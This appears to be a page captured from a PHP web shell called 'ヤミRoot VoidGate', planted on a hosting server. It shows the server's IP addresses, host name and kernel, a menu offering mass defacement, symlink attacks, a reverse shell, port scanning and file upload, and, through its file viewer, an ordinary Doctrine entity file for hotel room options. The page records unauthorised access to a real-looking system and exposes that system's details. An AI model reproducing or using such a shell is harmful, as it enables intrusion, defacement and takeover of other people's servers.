ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Entity
/
Viewing: RoomOption.php
<?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\RoomOptionRepository; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=RoomOptionRepository::class) */ class RoomOption { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="boolean", nullable=true) */ private $clim; /** * @ORM\Column(type="boolean", nullable=true) */ private $toilet; /** * @ORM\Column(type="boolean", nullable=true) */ /** * @ORM\Column(type="boolean", nullable=true) */ private $roomService; /** * @ORM\Column(type="boolean", nullable=true) */ private $availablePhone; /** * @ORM\Column(type="boolean", nullable=true) */ private $television; /** * @ORM\Column(type="boolean", nullable=true) */ private $fan; /** * @ORM\Column(type="boolean", nullable=true) */ private $freeBreakFast; public function getId(): ?int { return $this->id; } public function getClim(): ?bool { return $this->clim; } public function setClim(?bool $clim): self { $this->clim = $clim; return $this; } public function getToilet(): ?bool { return $this->toilet; } public function setToilet(?bool $toilet): self { $this->toilet = $toilet; return $this; } public function getRoomService(): ?bool { return $this->roomService; } public function setRoomService(?bool $roomService): self { $this->roomService = $roomService; return $this; } public function getAvailablePhone(): ?bool { return $this->availablePhone; } public function setAvailablePhone(?bool $availablePhone): self { $this->availablePhone = $availablePhone; return $this; } public function getTelevision(): ?bool { return $this->television; } public function setTelevision(?bool $television): self { $this->television = $television; return $this; } public function getFan(): ?bool { return $this->fan; } public function setFan(?bool $fan): self { $this->fan = $fan; return $this; } public function getFreeBreakFast(): ?bool { return $this->freeBreakFast; } public function setFreeBreakFast(?bool $freeBreakFast): self { $this->freeBreakFast = $freeBreakFast; return $this; } public function __toString() { // TODO: Implement __toString() method. return "freeBreakFast: ".$this->getState($this->freeBreakFast).", fan: ".$this->getState($this->fan).", Tv: ".$this->getState($this->television).", Toilet: ".$this->getState($this->toilet); } public function getState($boolean){ if($boolean){ return "Yes"; }else{ return "No"; } } }
Coded With 💗 by
0x6ick